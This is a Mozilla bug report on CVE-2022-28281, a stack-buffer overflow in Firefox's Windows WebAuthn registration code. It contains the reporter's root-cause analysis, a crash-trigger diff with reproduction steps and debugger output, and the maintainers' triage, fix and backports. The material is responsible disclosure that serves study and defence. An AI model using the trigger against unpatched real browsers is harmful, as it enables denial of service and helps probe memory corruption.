1755621 - (CVE-2022-28281) WinWebAuthnManager::Register stack-buffer overflow

Status: RESOLVED FIXED

(Core :: DOM: Web Authentication, defect, P1)

Description

[Axel '0vercl0k' Souchet]

Hello,

Please let me know if you'd like me to provide more information to have this report considered in the high-quality tier.

Cheers

WinWebAuthnManager::Register stack-buffer overflow

Root cause analysis

The issue can be seen in the WinWebAuthnManager::Register function; in the below lines:

void WinWebAuthnManager::Register(
    PWebAuthnTransactionParent* aTransactionParent,
    const uint64_t& aTransactionId, const WebAuthnMakeCredentialInfo& aInfo) {
// ...
  WEBAUTHN_EXTENSION rgExtension[1] = {};
// ...
    for (const WebAuthnExtension& ext : extra.Extensions()) {
      MOZ_ASSERT(cExtensions <
                 (int)(sizeof(rgExtension) / sizeof(rgExtension[0])));

      if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
        HmacCreateSecret =
            ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
        if (HmacCreateSecret) {
          rgExtension[cExtensions].pwszExtensionIdentifier =
              WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
          rgExtension[cExtensions].cbExtension = sizeof(BOOL);
          rgExtension[cExtensions].pvExtension = &HmacCreateSecret;
          cExtensions++;
        }
      }

A compromised renderer process is able to provide more than 1 extension which makes the above code corrupt adjacent stack memory. I don't believe it is possible to reach this state with plain Javascript.

Here is what a crash looks like when hitting the stack guard page (when sending a lot of extensions):

0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov     qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????

0:007> kp
 # Child-SP          RetAddr               Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d     xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301] 
01 0000009d`482fe710 00007ffc`bb7f1f88     xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27] 
02 0000009d`482fe740 0000009d`482fe680     xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257] 

Reproduction information

I've verified that the issue is present in the latest available tree; here's where my tree is synchronized to:

$ hg log
changeset:   679353:0fae6a6b254a
bookmark:    autoland
tag:         tip
user:        Jamie Nicol <[e-mail]>
date:        Tue Feb 15 20:26:12 2022 +0000
summary:     Bug 1755375 - Don't generate crash reports when android kills the GPU process. r=agi

The bug only affects Windows and doesn't need any specific hardware to reproduce.

Reproducing the issue

1. Apply the following diff to a recent Firefox checkout:

$ hg diff
diff --git a/dom/webauthn/WebAuthnManager.cpp b/dom/webauthn/WebAuthnManager.cpp
--- a/dom/webauthn/WebAuthnManager.cpp
+++ b/dom/webauthn/WebAuthnManager.cpp
@@ -367,16 +367,19 @@ already_AddRefed<Promise> WebAuthnManage

   if (!MaybeCreateBackgroundActor()) {
     promise->MaybeReject(NS_ERROR_DOM_OPERATION_ERR);
     return promise.forget();
   }

   // TODO: Add extension list building
   nsTArray<WebAuthnExtension> extensions;
+  for (size_t i = 0; i < 288; i++) {
+    extensions.AppendElement(WebAuthnExtensionHmacSecret(true));
+  }

   // <https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html#sctn-hmac-secret-extension>
   if (aOptions.mExtensions.mHmacCreateSecret.WasPassed()) {
     bool hmacCreateSecret = aOptions.mExtensions.mHmacCreateSecret.Value();
     if (hmacCreateSecret) {
       extensions.AppendElement(WebAuthnExtensionHmacSecret(hmacCreateSecret));
     }
   }

1. Rebuild and run the browser under a debugger or attach a debugger to the browser process (windbgx -p <pid>)

$ ./mach run --debug

1. Run a local HTTP server to server trigger.html

$ python3 -m http.server

1. Visit http://localhost:8000/trigger.html
2. The browser process should have crashed with something similar than below:

0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov     qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????

0:007> kp
 # Child-SP          RetAddr               Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d     xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301] 
01 0000009d`482fe710 00007ffc`bb7f1f88     xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27] 
02 0000009d`482fe740 0000009d`482fe680     xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257] 

Exploitability

Although it is a stack overflow it doesn't seem very exploitable at first sight. I haven't really tried but the attacker doesn't control the data being overflown. You might be able to corrupt local from parent frames and do something interesting.

Comment 1

[Axel '0vercl0k' Souchet]

Attachment: trigger.html

Comment 2

[Daniel Veditz [:dveditz]]

I'm not sure this is exploitable either, but let's start calling this "high" so we investigate and make sure it's not, rather than rate it too low and have it sit for a while.

Comment 3

[Andrew McCreight [:mccr8]]

It looks like the IPDL message here is PWebAuthnTransaction::RequestRegister, and the specific field that is problematic when it is an array with more than one element is Extensions in WebAuthnGetAssertionExtraInfo.

Comment 4

[R. Martinho Fernandes [:rmf]]

I think that to exploit this you'd need a compromised content process? In any case, I think the fix should be simply a matter of materializing that assertion into a proper check, no?

Comment 5

[Axel '0vercl0k' Souchet]

(In reply to R. Martinho Fernandes [:rmf] from comment #4)

I think that to exploit this you'd need a compromised content process? In any case, I think the fix should be simply a matter of materializing that assertion into a proper check, no?

That is correct, and yes turning the assertition condition into a runtime check that breaks out of the loop would work (or crash). Depending on the roadmap for this feature, you could also pursue to change the Extensions array into a field at the IPDL layer too.

Cheers

Comment 6

[R. Martinho Fernandes [:rmf]]

Attachment: Bug 1755621 - Check webauthn extensions r?dveditz

Comment 7

[R. Martinho Fernandes [:rmf]]

Attachment: Bug 1755621 - Check webauthn extensions r?dveditz

Comment 8

[Daniel Veditz [:dveditz]]

This is RC week for Firefox 98 so we'll have to fix it in 99. And we'll want this fix on the ESR-91 branch.

Comment 9

[R. Martinho Fernandes [:rmf]]

Comment on attachment 9265191 [details]
Bug 1755621 - Check webauthn extensions r?dveditz

Security Approval Request

• How easily could an exploit be constructed based on the patch?: The patch might tip you off that you can overflow the stack here, but it doesn't show you how to get input that would overflow. You need a compromised content process for that.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: all
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: The same patch works for ESR as well.
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely, this just promotes an existing assertion into a real check in release builds.

Comment 10

[Tom Ritter [:tjr]]

Comment on attachment 9265191 [details]
Bug 1755621 - Check webauthn extensions r?dveditz

Approved to land and uplift

Comment 11

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Check webauthn extensions r=dveditz
https://hg.mozilla.org/integration/autoland/rev/6afb1478d46a8f21a7fe24c172d7a8d98bc4f935
https://hg.mozilla.org/mozilla-central/rev/6afb1478d46a

Comment 12

[BugBot [:suhaib / :marco/ :calixte]]

The patch landed in nightly and beta is affected.
:rmf, is this bug important enough to require an uplift?
If not please set status_beta to wontfix.

For more information, please visit auto_nag documentation.

Comment 13

[R. Martinho Fernandes [:rmf]]

Comment on attachment 9265191 [details]
Bug 1755621 - Check webauthn extensions r?dveditz

Beta/Release Uplift Approval Request

• User impact if declined: A vulnerability will be present
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch just promotes a check that already existed in debug builds to release builds as well.
• String changes made/needed:

Comment 14

[R. Martinho Fernandes [:rmf]]

Comment on attachment 9265191 [details]
Bug 1755621 - Check webauthn extensions r?dveditz

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined: A vulnerability will remain present.
• Fix Landed on Version: 99
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): The patch just promotes a check that already existed in debug builds to release builds as well.

Comment 15

[Donal Meehan [:dmeehan]]

Comment on attachment 9265191 [details]
Bug 1755621 - Check webauthn extensions r?dveditz

Approved for 99.0b4. Thanks.

Comment 16

[Donal Meehan [:dmeehan]]

https://hg.mozilla.org/releases/mozilla-beta/rev/a752c96d0907

Comment 17

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9265191 [details]
Bug 1755621 - Check webauthn extensions r?dveditz

Approved for 91.8esr.

Comment 18

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr91/rev/1cd088e4f1e8

Comment 19

[BugBot [:suhaib / :marco/ :calixte]]

As part of a security bug pattern analysis, we are requesting your help with a high level analysis of this bug. It is our hope to develop static analysis (or potentially runtime/dynamic analysis) in the future to identify classes of bugs.

Please visit this google form to reply.

Comment 20

[Tom Ritter [:tjr]]

Attachment: advisory.txt